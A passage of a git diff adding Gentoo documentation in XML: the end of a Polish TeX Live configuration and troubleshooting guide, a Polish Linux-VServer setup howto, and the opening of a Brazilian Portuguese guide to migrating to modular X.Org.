+Pliki <path>15options.cnf</path> i <path>20sizes.cnf</path> mogą być ostrożnie
+modyfikowane. Komentarze zawarte w wymienionych plikach powinny wyjaśniać co
+oznaczają konkretne opcje. Na przykład, w <path>20sizes.cnf</path> jest
+możliwość zwiększenia pamięci TeX-a, na wypadek kompilacji zbyt obszernego
+dokumentu i błędów <c>TeX capacity exceeded, sorry</c>.
+</p>
+
+<p>
+Jeśli użytkownik życzy sobie, by zainstalować nieco dodatków w pliku
+<path>texmf.cnf</path>, może stworzyć nowy plik w
+<path>/etc/texmf/texmf.d</path>, nazwany, dla przykładu,
+<path>99myadditions.cnf</path>. Ważne, by nie nadawać wyższego priorytetu
+stworzonemu przez siebie plikowi niż mają główne pliki konfiguracyjne. Własne
+pliki powinny mieć numer wyższy niż <c>25</c>.
+</p>
+
+<p>
+Pakiety, które potrzebują dodać coś do pliku <path>texmf.cnf</path> traktowane
+są w ten sam sposób. Powinny więc instalować się do pliku <path>texmf.d</path>.
+</p>
+
+<pre caption="Przykładowy kod do zainstalowania pliku texmf.d">
+<keyword>insinto</keyword> <const>/etc/texmf/texmf.d</const>
+<keyword>doins</keyword> <const>40mytexmfadditions.cnf</const>
+</pre>
+
+</body>
+</section>
+<section>
+<title>updmap.cfg</title>
+<body>
+
+<p>
+Plik <path>updmap.cfg</path> jest plikiem konfiguracyjnym używanym przez
+<c>updmap</c> (i <c>updmap-sys</c>), w przypadku gdy nie określono innego pliku.
+Odpowiada on za wskazanie różnym sterownikom wyjścia TeX-a map czcionek do
+zaktualizowania.
+</p>
+
+<p>
+Plik <path>updmap.cfg</path> w <path>/etc/texmf/web2c</path> jest efektem
+połączenia plików w <path>/etc/texmf/updmap.d</path>. Pierwszy plik,
+<path>00updmap.cfg</path> instalowany przez <c>app-text/texlive-core</c> jest
+rezultatem uruchomienia <c>updmap --syncwithtrees</c> na drzewie <c>texmf</c>,
+które instaluje (właściwie jest to imitacja tego co zrobiłoby polecenie
+<c>updmap --syncwithtrees</c>, ale to jedynie techniczny szczegół).
+</p>
+
+<p>
+Różne ebuildy <c>TeX Live</c> podczas instalacji czcionek dodają pliki do
+katalogu <path>/etc/texmf/updmap.d</path>. Gdy konieczna jest edycja tych plików
+w celu wyłączenia aktualizacji niektórych czcionek, lepszym rozwiązaniem jest po
+prostu usunięcie odpowiedniego pakietu.
+</p>
+
+<p>
+Jeśli osobny ebuild próbuje dodać nowe mapy czcionek, powinien on zainstalować
+je w <path>/etc/texmf/updmap.d</path> i pozwolić, by zarządzał nimi
+<c>texmf-update</c>.
+</p>
+
+<warn>
+Czasami można zobaczyć w niektórych ebuildach czy instrukcjach instalacji
+dodatkowych pakietów zawierających czcionki <c>updmap-sys --enable
+Map=mymap.map</c>. O ile możliwe jest działanie tego polecenia za pierwszym
+razem, wszelkie poczynione zmiany zostaną cofnięte podczas kolejnego
+uruchomiania <c>texmf-update</c>.
+</warn>
+
+<p>
+Dobrym pomysłem na poradzenie sobie z tym jest stworzenie pliku, który zostanie
+zainstalowany w <path>/etc/texmf/updmap.d</path> oraz instalacja go w
+dystrybucji TeX-a, która wspiera narzędzie <c>texmf-update</c>:
+</p>
+
+<pre caption="Jak włączyć mapę czcionki">
+<keyword>inherit</keyword> <ident>latex-package</ident>
+...
+<stmt>src_install()</stmt> {
+    ...
+    <keyword>if</keyword> <stmt>latex-package_has_tetex_3</stmt>; then
+        <keyword>insinto</keyword> /etc/texmf/updmap.d
+        <keyword>doins</keyword> myfontmapconfig.cfg
+    <keyword>fi</keyword>
+    ...
+}
+...
+<stmt>pkg_postinst()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --enable Map=mymap.map
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --disable Map=mymap.map
+}
+</pre>
+
+<p>
+Pliki znajdujące się w <path>/etc/texmf/updmap.d</path> powinny uznawać składnię
+<c>updmap</c>:
+</p>
+
+<pre caption="Fragment updmap.cfg wyjaśniający składnię">
+Możliwe są dwa wpisy: Map i MixedMap. Obydwa mają jeden dodatkowy argument:
+nazwę pliku mapy. Linie MixedMap ("mixed" oznacza, że czcionka jest osiągalna
+jako bitmapa lub obrys) nie będą używane w domyślnej mapie dvips jeśli
+dvipsPreferOutline jest wyłączony. Nieaktywne pliki Map powinny być zaznaczone
+jako "#! " (bez nawiasów), a nie tylko przez #.
+</pre>
+
+</body>
+</section>
+<section>
+<title>fmtutil.cnf</title>
+<body>
+
+<p>
+Plik <path>fmtutil.cnf</path> zawiera informację o tym, jak zbudować plik
+formatu i jak nim zarządzać.
+</p>
+
+<p>
+Plik <path>fmtutil.cnf</path> jest efektem połączenia plików znajdujących się w
+<path>/etc/texmf/fmtutil.d</path>. Różne ebuildy <c>TeX Live</c> instalują tam
+pliki. Pliki te dodają wsparcie dla plików formatu i tworzą dowiązanie
+symboliczne do odpowiadającego im silnika.
+</p>
+
+<pre caption="Framgent strony man fmtutil.cnf(5) wyjaśniający składnię">
+Plik fmtutil.cnf zawiera konfigurację dla fmtutil(8). Każda linia zawiera nazwę
+formatu (na przykład, "tex", "latex", "omega"), nazwę silnika używanego przez
+dany format (na przykład, "tex", "latex", "omega"), plik wzoru (na przykład,
+language.dat, language.def) i inne argumenty (nazwa pliku .ini).
+
+Pola są oddzielone spacją, a pełne linie mogą zostać zakomentowane za pomocą
+znaku "#". Pole "plik wzoru" nie może zostać użyte do zdefiniowania pliku, który
+ma zostać użyty podczas budowania formatu. Przekazuje on fmtutil, który plik
+jest odczytywany podczas procesu budowania i ma efekt podczas użycia opcji
+--showhyphen i --byhyphen. Jeśli format nie posiada informacji jak dostosować
+dzielenie wyrazów, "-" może zostać użyty do ich wskazania.
+</pre>
+
+<p>
+Ebuildy <c>TeX Live</c>, które instalują plik <path>fmtutil.d</path>, instalują
+odpowiadające im pliki formatów w <path>/var/lib/texmf/web2c</path> i tworzą
+dowiązanie od formatu do silnika.
+</p>
+
+<p>
+Warto wspomnieć, że gdy zostaną dodane pliki wspierające język,
+<c>texmf-update</c> zajmuje się dodaniem ich do pliku <path>language.dat</path>
+i zregenerowaniem plików formatów, tak by te wspierały nowo zainstalowany język.
+</p>
+
+</body>
+</section>
+<section>
+<title>Uaktualnianie konfiguracji</title>
+<body>
+
+<p>
+Teraz, gdy proces konfiguracji <c>TeX Live</c> jest jasny, użytkownik powinien
+móc przenieść zmiany dokonane na starej dystrybucji TeX-a do konfiguracji
+<c>TeX Live</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Powszechne błędy</title>
+<section>
+<title>Wstęp</title>
+<body>
+
+<p>
+W poniższym rozdziale przedstawiony zostanie skrót najbardziej powszechnych
+błędów i wyjaśnienie co poszło nie tak.
+</p>
+
+</body>
+</section>
+<section>
+<title>Format został zapisany w (pdf)etex</title>
+<body>
+
+<p>
+Czasami podczas instalacji niektórych pakietów wymagających latex, można spotkać
+się z błędem:
+</p>
+
+<pre caption="Format został zapisany przez pdfetex">
+---! //var/lib/texmf/web2c/latex.fmt was written by pdfetex
+</pre>
+
+<p>
+Powyższy błąd to wynik tego, że po starej instalacji dystrybucji <c>etex</c>
+pozostały niektóre pliki wymagane przez nią. W większości przypadków oznacza to,
+że użytkownik nie wykonał wszystkich kroków opisanych w niniejszym dokumencie,
+ze szczególnym naciskiem na rozdział <uri
+link="#uninstall">Odinstalowywanie</uri>. 
+</p>
+
+<p>
+Wciąż możliwe jest szybkie naprawienie tego bez konieczności ponownej instalacji
+czegokolwiek. Należy uruchomić z uprawnieniami roota:
+</p>
+
+<pre caption="Usuwanie starych formatów">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+# <i>texmf-update</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Katalog formatów nie istnieje</title>
+<body>
+
+<p>
+Podczas instalacji <c>texlive-latex</c>, możliwe jest wystąpienie błędu:
+</p>
+
+<pre caption="Katalog formatów nie istnieje">
+fmtutil: format directory
+`/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-var/web2c' does not
+exist.
+</pre>
+
+<p>
+Najbardziej prawdopodobną przyczyną wystąpienia tego błędu jest zła
+konfiguracja. Należy spróbować uruchomić poniższe polecenie i uzyskać rezultaty
+identyczne z wymienionymi:
+</p>
+
+<pre caption="Definicja TEXMFMAIN">
+$ <i>kpsewhich --var-value=TEXMFMAIN</i>
+/usr/share/texmf
+</pre>
+
+<p>
+Bardzo ważne jest od kiedy <c>fmtutil</c> szuka <c>mktexdir</c> w tej lokacji.
+Jeśli użytkownik osiągnie inny rezultat, wtedy <c>fmtutil</c> nie znajdzie
+<c>mktexdir</c> i w efekcie nie uda mu się utworzyć katalogu, w którym
+tymczasowo przechowuje skompilowane formaty.
+</p>
+
+<p>
+Nie istnieje magiczne polecenie zdolne to naprawić. Należy zatem sprawdzić czy
+konfiguracja jest poprawna i czy w <path>/etc/texmf/texmf.d</path> nie pozostały
+osierocone pliki. Najczęściej jest to spowodowane istnieniem starego
+<path>00texmf.cnf</path> i w efekcie niepoprawnymi ustawieniami dla pliku
+<path>texmf.cnf</path>. Należy cofnąć się do <uri link="#uninstall">Rozdziału
+"Odinstalowywanie" </uri> i pamiętać, że po usunięciu lub modyfikacji pliku w
+katalogu <path>/etc/texmf/*.d</path> trzeba uruchomić polecenie
+<c>texmf-update</c>, aby zachować zmiany na aktualnym koncie.
+</p>
+
+</body>
+</section>
+<section>
+<title>Brakujące pliki .tex</title>
+<body>
+
+<p>
+Podczas instalacji <c>texlive-latex</c> (albo dowolnego formatu posiadającego
+wsparcie dla podziału wyrazów babel, można spotkać się z błędem:
+</p>
+
+<pre caption="brakujący bghyphen.tex">
+===========================================
+Local configuration file hyphen.cfg used
+===========================================
+
+(/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-dist/tex/generic/ba
+bel/hyphen.cfg (/usr/share/texmf/tex/generic/hyphen/hyphen.tex)
+(/usr/share/texmf/tex/generic/hyphen/ushyphmax.tex)
+(/usr/share/texmf/tex/generic/hyphen/dumyhyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bahyph.tex
+(/usr/share/texmf/tex/generic/hyphen/bahyph.tex))
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bghyphen.tex
+! I can't find file `bghyphen.tex'.
+l.10   \input bghyphen.tex
+
+Please type another input file name:
+! Emergency stop.
+l.10   \input bghyphen.tex
+
+No pages of output.
+Transcript written on latex.log.
+Error: `pdftex -ini  -jobname=latex -progname=latex
+-translate-file=cp227.tcx *latex.ini' failed
+</pre>
+
+<p>
+W takim przypadku należy sprawdzić, który plik <path>language.dat</path> jest
+używany:
+</p>
+
+<pre caption="odnalezienie language.dat">
+$ <i>kpsewhich language.dat</i>
+/usr/share/texmf/tex/generic/config/language.dat
+</pre>
+
+<p>
+Plik ten jest automatycznie wygenerowany przez <c>texmf-update</c>, jako efekt
+połączenia plików <path>language.*.dat</path> znajdujących się w katalogu, w
+którym znajduje się również <path>language.us</path> (dla TeX Live 2008 pliki
+<path>language.*.dat</path> pobierane są z katalogu
+<path>/etc/texmf/language.dat.d/</path>). Powinien to być katalog 
+<path>/usr/share/texmf/tex/generic/config/</path>. Należy więc sprawdzić, czy
+nie znajdują się tam inne pliki <path>language.*.dat</path>, niż te
+zainstalowane przez ebuildy <c>dev-texlive/texlive-lang*</c>. Każdy plik
+znajdujący się w tym katalogu oznacza, że użytkownik chce włączyć wsparcie
+podziału wyrazów dla konkretnego języka. Jeśli nie posiada się plików
+wspierających podział wyrazów spowoduje to, że pliki formatów zdolne do użycia
+dodatkowego podziału wyrazów wsparcia nie zbudują się.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pl/vps/vserver-howto.xml b/xml/htdocs/proj/pl/vps/vserver-howto.xml
new file mode 100644
index 00000000..758b3be0
--- /dev/null
+++ b/xml/htdocs/proj/pl/vps/vserver-howto.xml
@@ -0,0 +1,457 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/vps/vserver-howto.xml,v 1.1 2007/09/28 02:22:16 rane Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pl/vps/vserver-howto.xml" lang="pl">
+<title>Linux-VServer w Gentoo</title>
+<author title="Autor">
+  <mail link="hollow@gentoo.org">Benedikt Boehm</mail>
+</author>
+<author title="Redakcja">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Tłumaczenie">
+   Paweł Kwiatkowski
+</author>
+<author title="Tłumaczenie">
+  <mail link="miedzik_piotr@o2.pl">Piotr Miedzik</mail>
+</author>
+
+<abstract>
+Opis instalacji wirtualnych serwerów przy użyciu technologii Linux-Vserver.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.10</version>
+<date>2007-03-26</date>
+
+<chapter>
+<title>Wprowadzenie</title>
+<section>
+<title>Koncepcja Linux-VServer</title>
+<body>
+
+<p>
+Linux-VServer pozwala na rozdzielenie przestrzeni użytkownika na jednostki, z
+których każda jest osobnym serwerem dla procesów, które są w niej zawarte.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pojęcia użyte w tym przewodniku</title>
+<body>
+
+<table>
+<tr>
+  <th>Termin</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <th>Linux-VServer, VServer</th>
+  <ti>
+    Linux-VSerwer to oficjalna nazwa projektu i jest używana w tym przewodniku
+    dokładnie w tym znaczeniu
+  </ti>
+</tr>
+<tr>
+  <th>vserwer, wirtualny serwer, gość</th>
+  <ti>
+    Wszystkie te terminy odnoszą się do pojedynczej instancji serwera (tj.
+    jednego serwera wirtualnego)
+  </ti>
+</tr>
+<tr>
+  <th>komputer host, host</th>
+  <ti>
+    Komputer, na którym zainstalowany jest Gentoo Linux i na którym będą
+    znajdować się wszystkie wirtualne serwery
+  </ti>
+</tr>
+<tr>
+  <th>util-vserver</th>
+  <ti>
+    Pakiet <c>util-vserver</c> zawiera wszystkie programy potrzebne do
+    zarządzania serwerami wirtualnymi
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Konfiguracja hosta</title>
+<section>
+<title>Instalacja jądra wspierającego VServer</title>
+<body>
+
+<pre caption="Instalacja vserver-sources">
+# <i>emerge vserver-sources</i>
+</pre>
+
+<p>
+Po instalacji źródeł vserver-sources należy je skonfigurować przy użyciu <c>make
+menuconfig</c>. Poniżej znajduje się standardowa konfiguracja dla wersji 2.1.1
+oraz wyższych. W wersjach 2.0.x niektóre opcje konfiguracji mogą być
+niedostępne.
+</p>
+
+<pre caption="Konfiguracja vserver-sources">
+# <i>cd /usr/src/linux-&lt;WERSJA_JĄDRA&gt;-vserver-&lt;WERSJA_VSERVER&gt;</i>
+# <i>make menuconfig</i>
+
+Linux VServer ---&gt;
+<comment>(Nie zaznaczamy opcji 'legacy')</comment>
+  [ ] Enable Legacy Kernel API
+  [ ] Enable Legacy Networking Kernel API
+<comment>(Warto przeczytać pomoc dla tych opcji)</comment>
+  [ ] Remap Source IP Address
+  [*] Enable COW Immutable Link Breaking
+  [ ] Enable Virtualized Guest Time
+  [*] Enable Proc Security
+  [*] Enable Hard CPU Limits
+  [*]   Avoid idle CPUs by skipping Time
+  [*]   Limit the IDLE task
+      Persistent Inode Tagging (UID24/GID24)  ---&gt;
+  [ ] Tag NFSD User Auth and Files
+  [*] Enable Inode Tag Propagation
+  [*] Honor Privacy Aspects of Guests
+  [ ] VServer Debugging Code
+</pre>
+
+<note>
+Jeśli korzysta się z reiserfs jako systemu plików, na którym będą przechowywane
+obrazy, należy w jądrze uaktywnić opcję "Extended attributes for reiserfs" czyli
+rozszerzone funkcje reiserfs oraz dodać opcję <c>attrs</c> do pliku
+<path>/etc/fstab</path>.
+</note>
+
+<pre caption="Konfiguracja opcji reiserfs">
+File systems  --->
+  &lt;*&gt; Reiserfs support
+  [*]   ReiserFS extended attributes
+</pre>
+
+<pre caption="Przykład wpisu w fstab z atrybutami rozszerzonymi">
+/dev/hdb1 /vservers reiserfs noatime,attrs 0 0
+</pre>
+
+<p>
+Po zbudowaniu jądra należy uaktualnić konfigurację programu ładującego, a
+następnie ponownie uruchomić system i sprawdzić czy startuje poprawnie.
+</p>
+
+<pre caption="Instalacja jądra">
+<comment>(Budowanie jądra)</comment>
+# <i>make</i>
+<comment>(Instalacja)</comment>
+# <i>make modules_install</i>
+# <i>cp arch/&lt;arch&gt;/boot/bzImage /boot/kernel-&lt;WERSJA_JĄDRA&gt;-vserver-&lt;WERSJA_VSERVER&gt;</i>
+<comment>(Zmiana konfiguracji bootloadera w razie potrzeby i restart)</comment>
+# <i>reboot</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Konfiguracja na komputerze host</title>
+<body>
+
+<p>
+Aby zarządzać serwerami wirtualnymi, należy zainstalować pakiet util-vserwer,
+który zawiera wszystkie niezbędne programy.
+</p>
+
+<pre caption="Instalacja util-vserver">
+# <i>emerge >=sys-cluster/util-vserver-0.30.212</i>
+</pre>
+
+<p>
+W celu zapewnienia odpowiednich praw dostępu do systemu plików
+<path>/proc</path>, po każdym ponownym uruchomieniu komputera trzeba będzie
+wykonać polecenie <c>vprocunhide</c>. Aby to zautomatyzować, należy dodać
+skrypty vservera do domyślnego poziomu uruchamiania.
+</p>
+
+<pre caption="Skrypty startowe util-vserver">
+# <i>rc-update add vprocunhide default</i>
+# <i>/etc/init.d/vprocunhide start</i>
+# <i>rc-update add util-vserver default</i>
+# <i>/etc/init.d/util-vserver start</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tworzenie szkieletu</title>
+<section>
+<title>Pobranie gotowych stage3/4</title>
+<body>
+
+<p>
+Wiele poleceń związanych ze sprzętem jest niedostępnych wewnątrz wirtualnego
+serwera. Dlatego kiedyś powstała specjalna, poprawiona wersja pakietu baselayout
+o nazwie baselayout-vserver. Obecnie, konkretnie od wersji
+baselayout-1.13.0_alpha12, wszystkie potrzebne zmiany zostały wprowadzone do
+standardowego baselayout, a co za tym idzie nie są już potrzebne osobne pliki
+stage, profile ani osobny pakiet baselayout. Jedynym minusem jest to, że
+baselayout-1.13 został dodany do stage będącego dopiero w wersji alpha i nie ma
+możliwości pobrania go z serwerów lustrzanych.
+</p>
+
+<p>
+Gdy baselayout-1.13 zostanie ustabilizowany, będzie można używać plików stage3/4
+z jednego z <uri link="/main/en/mirrors.xml">serwerów lustrzanych</uri>.  Zanim
+jednak to się stanie, wciąż trzeba pobierać stage3/4 z <uri
+link="http://people.linux-vserver.org/~hollow/stages/">tego miejsca</uri>. W
+związku z tym, że stage3/4 zawiera kompletne drzewo plików, można użyć metody
+budowania z szablonów. Jednakże ta metoda jest dostępna dopiero od
+util-vserver-0.30.213_rc5, należy więc sprawdzić zainstalowaną wersję.
+</p>
+
+<p>
+Należy wybrać identyfikator kontekstowy dla vserwera (odradzamy używanie
+dynamicznych identyfikatorów) oraz potrzebne informacje o urządzeniu sieciowym
+(w tym przykładzie eth0 zostało skonfigurowane jako 192.168.1.253/24, a
+identyfikator jest odpowiedni dla ostatnich dwóch części adresu IP serwera
+wirtualnego).
+</p>
+
+<note>
+Identyfikator powinien zawierać się w przedziale 1-49152.
+</note>
+
+</body>
+</section>
+<section>
+<title>Metoda budowy z szablonów</title>
+<body>
+
+<p>
+Przez długi czas zwykły styl uruchamiania był jedynym dostępnym. Na każdym z
+gości był uruchamiany osobny proces init, tak jak na każdym innym uniksowym
+systemie. Takie podejście miało jednak kilka wad:
+</p>
+
+<ul>
+  <li>
+    Nie było możliwości przejrzenia informacji dotyczących uruchamiania skryptów
+    init/rc
+  </li>
+  <li>
+    Marnowały się zasoby dla każdego procesu init w każdym wirtualnym serwerze
+  </li>
+  <li>Pojawiały się denerwujące konflikty o plik <path>/etc/inittab</path></li>
+</ul>
+
+<p>
+Z tego powodu wielu użytkowników prosiło o ponowną implementację systemu
+uruchamiania z Gentoo, która została zarzucona z powodu konieczności dodawania
+ogromnej liczby poprawek działających mniej lub bardziej sprawnie oraz dużych
+modyfikacji w baselayout. Jednak od wersji util-vserver-0.30.212 sposób
+uruchamiania typowy dla Gentoo został ponownie zaimplementowany i w przyszłości
+znów stanie się domyślną opcją.
+</p>
+
+<note>
+Użytkownicy, którzy nie chcą korzystać z osobnych procesów init dla każdego
+gościa lub tacy, którzy po prostu nie wiedzą co wybrać, powinni zaznaczyć sposób
+uruchamiania typowy dla Gentoo.
+</note>
+
+<pre caption="Rozpoczęcie instalacji stage3">
+# <i>vserver myguest build \</i>
+  <i>--context 1253 \</i>
+  <i>--hostname gentoo \</i>
+  <i>--interface eth0:192.168.1.253/24 \</i>
+  <i>--initstyle gentoo \</i> <comment>(Sposób uruchamiania, można go zmienić jeśli zachodzi taka potrzeba)</comment>
+  <i>-m template -- \</i>
+  <i>  -d gentoo \</i>
+  <i>  -t /path/to/stage4-&lt;arch&gt;-&lt;version&gt;.tar.bz2</i>
+</pre>
+
+<note>
+Następnie należy odpowiednio skonfigurować sieć poprzez zmianę plików
+<path>/etc/conf.d/hostname</path>, <path>/etc/conf.d/domainname</path> oraz
+<path>/etc/hosts</path>. Należy to zrobić na każdym gościu. Szczegóły
+konfiguracji są opisane w <uri
+link="/doc/pl/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect1">
+rozdziale 8.b.1</uri> oraz <uri
+link="/doc/pl/handbook/handbook-x86.xml?part=1&amp;chap=8#doc_chap2_sect4">
+rozdziale 8.b.4</uri> Podręcznika Gentoo. Pozostała część konfiguracji sieci dla
+wirtualnych serwerów zostanie przeprowadzona na komputerze host.
+</note>
+
+<p>
+Teraz można sprawdzić działanie serwera wirtualnego używając poleceń podanych
+poniżej.
+</p>
+
+<pre caption="Testowanie serwera wirtualnego">
+# <i>vserver myguest start</i>
+
+
+Gentoo/Linux 1.13.0_alpha12; http://www.gentoo.org/
+ Copyright 1999-2007 Gentoo Foundation; Distributed under the GPLv2
+
+Press I to enter interactive boot mode
+
+ * Using existing device nodes in /dev                    [ ok ]
+ * root filesystem is mounted read-write - skipping
+ * Checking all filesystems                               [ ok ]
+ * Mounting local filesystems                             [ ok ]
+ * Activating (possible) swap                             [ ok ]
+ * Setting hostname to myguest                            [ ok ]
+ * Updating environment                                   [ ok ]
+ * Cleaning /var/lock, /var/run                           [ ok ]
+ * Cleaning /tmp directory                                [ ok ]
+ * Initializing random number generator                   [ ok ]
+ * Setting system clock using the hardware clock [VPS]    [ ok ]
+ * Starting syslog-ng                                     [ ok ]
+ * Starting vixie-cron                                    [ ok ]
+ * Starting local                                         [ ok ]
+# <i>vserver-stat</i>
+CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
+0       90   1.4G 153.4K  14m00s11   6m45s17   2h59m59 root server
+1252     2     3M   286    0m00s45   0m00s42   0m02s91 myguest
+# <i>vserver myguest enter</i>
+# <i>ps ax</i>
+PID   TTY      STAT   TIME COMMAND
+    1 ?        S      0:00 init [3]
+22887 ?        Ss     0:00 /usr/sbin/syslog-ng
+20496 pts/0    S      0:00 /bin/bash -login
+20508 pts/0    R+     0:00 ps ax
+# <i>logout</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Zarządzanie staje się prostsze</title>
+<section>
+<title>Uruchamianie gości razem z systemem</title>
+<body>
+
+<p>
+Każdy vserwer może zostać uruchomiony w trakcie ładowania systemu poprzez
+oznaczenie go [ang. MARK]. W tym celu wystarczy tylko ustawić je w
+konfiguracjach poszczególnych gości oraz dodać odpowiedni skrypt startowy do
+domyślnego poziomu uruchamiania.
+</p>
+
+<pre caption="Konfiguracja oznaczeń (MARK)">
+<comment>(Należy to wykonać dla każdego gościa którego chce się uruchamiać na starcie systemu)</comment>
+# <i>mkdir -p /etc/vservers/myguest/apps/init</i>
+# <i>echo "default" > /etc/vservers/myguest/apps/init/mark</i>
+</pre>
+
+<pre caption="Dodawanie skryptu startowego">
+# <i>rc-update add vservers.default default</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Utrzymywanie zsynchronizowanego drzewa Portage</title>
+<body>
+
+<p>
+Skrypt <c>vesync</c> pozwala na łatwą aktualizację wszystkich nakładek (ang.
+overlay) oraz metadanych. Skrypt <c>vemerge</c> jest prostą nakładką (ang.
+wrapper) na <c>emerge</c> do użytku wewnątrz wirtualnych serwerów.
+</p>
+
+<pre caption="Przykłady">
+<comment>(Synchronizacja metadanych dla 'myguest')</comment>
+# <i>vesync myguest</i>
+<comment>(Synchronizacja metadanych dla wszystkich)</comment>
+# <i>vesync --all</i>
+<comment>(Synchronizacja nakładki o nazwie "myoverlay" dla wszystkich)</comment>
+# <i>vesync --all \</i>
+  <i>--overlay /usr/local/overlays/myoverlay \</i>
+  <i>--overlay-host rsync://rsync.myhost.com/myoverlay \</i>
+  <i>--overlay-only</i>
+<comment>(Instalacja app-editors/vim na 'myguest')</comment>
+# <i>vemerge myguest -- app-editors/vim -va</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Aktualizacja gości</title>
+<body>
+
+<p>
+Każdy gość Gentoo może współdzielić pakiety w celu skrócenia czasu
+kompilacji. W tym celu należy stworzyć katalog na pakiety na komputerze hoście.
+W przykładzie tym katalogiem będzie <path>/var/cache/vpackages</path> i zostanie
+on zamontowany do <path>/usr/portage/packages</path> na każdym vserverze.
+</p>
+
+<pre caption="Dodawanie powiązanego (ang. bind) udziału do konfiguracji vserwera">
+# <i>mkdir -p /var/cache/vpackages</i>
+# <i>$EDITOR /etc/vservers/myguest/fstab</i>
+<comment>(Dodanie linijki na koniec pliku)</comment>
+/var/cache/vpackages /usr/portage/packages none bind,rw 0 0
+</pre>
+
+<p>
+Na koniec należy użyć <c>vupdateworld</c> do aktualizacji każdego vserwera.
+Polecenie to jest odpowiednikiem <c>emerge --deep --update --newuse world</c>
+wraz z dodatkowymi opcjami.
+</p>
+
+<pre caption="przykłady z vupdateworld">
+<comment>(Symulacja aktualizacji dla 'myguest')</comment>
+# <i>vupdateworld myguest -- -vp</i>
+<comment>(Aktualizacja 'myguest' przy użyciu prekompilowanych pakietów)</comment>
+# <i>vupdateworld myguest -- -k</i>
+<comment>(Aktualizacja wszystkich vserwerów przy użyciu prekompilowanych pakietów)</comment>
+# <i>vupdateworld --all -- -k</i>
+</pre>
+
+<note>
+Korzystanie z prekompilowanych pakietów jest możliwe po ustawieniu zmiennej
+PORTAGE_BINHOST w każdym gościu (szczegóły w <c>man make.conf</c>) oraz
+zmiennej FEATURES="buildpkg" przynajmniej w jednym.
+</note>
+
+<p>
+Po udanej aktualizacji pakietów można łatwo zaktualizować wszystkie konfiguracje
+za pomocą <c>vdispatch-conf</c>. Jest to nakładka na <c>dispatch-conf</c> i
+identycznie się zachowuje.
+</p>
+
+<pre caption="przykłady z vdispatch-conf">
+<comment>(Aktualizacja konfiguracji dla 'myguest')</comment>
+# <i>vdispatch-conf myguest</i>
+<comment>(Aktualizacja konfiguracji dla wszystkich vserwerów)</comment>
+# <i>vdispatch-conf --all</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Kontakt</title>
+<body>
+
+<p>
+W przypadku wystąpienia jakichkolwiek problemów, należy skontaktować się z <mail
+link="hollow@gentoo.org">autorem</mail> tego tekstu lub zgłosić problem na  <uri
+link="http://bugs.gentoo.org">Bugzilli</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/pt_br/desktop/x/x11/modular-x-howto.xml b/xml/htdocs/proj/pt_br/desktop/x/x11/modular-x-howto.xml
new file mode 100644
index 00000000..8fb73ea5
--- /dev/null
+++ b/xml/htdocs/proj/pt_br/desktop/x/x11/modular-x-howto.xml
@@ -0,0 +1,417 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pt_br/desktop/x/x11/modular-x-howto.xml,v 1.2 2006/07/07 18:39:11 dberkholz Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/pt_br/desktop/x/x11/modular-x-howto.xml" lang="pt_br">
+<title>Guia de migração para o X modular</title>
+
+<author title="Autor">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Autor">
+  <mail link="joshuabaergen@gentoo.org">Joshua Baergen</mail>
+</author>
+<author title="Tradutor">
+  <mail link="vanquirius@gentoo.org">Marcelo Góes</mail>
+</author>
+
+<abstract>
+Este guia explica como migrar para o X.Org modular.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-01-02</date>
+
+<chapter>
+<title>Introdução</title>
+
+<section>
+<title>Por que modular?</title>
+<body>
+
+<p>
+Você deve estar pensando, por que aquele pacote xorg-x11 simpático e simples se
+transformou em quase 300 separados? E você está justificado em perguntar. =)
+Não é uma coisa que o Gentoo está fazendo independentemente dos desenvolvedores
+do X.Org; eles estão dividindo os pacotes em lançamentos separados, e nós
+estamos seguindo eles.
+</p>
+
+<p>
+O raciocínio atrás da divisão e mudança no sistema de construção tem pelo menos
+três motivos:
+</p>
+<ul>
+<li>
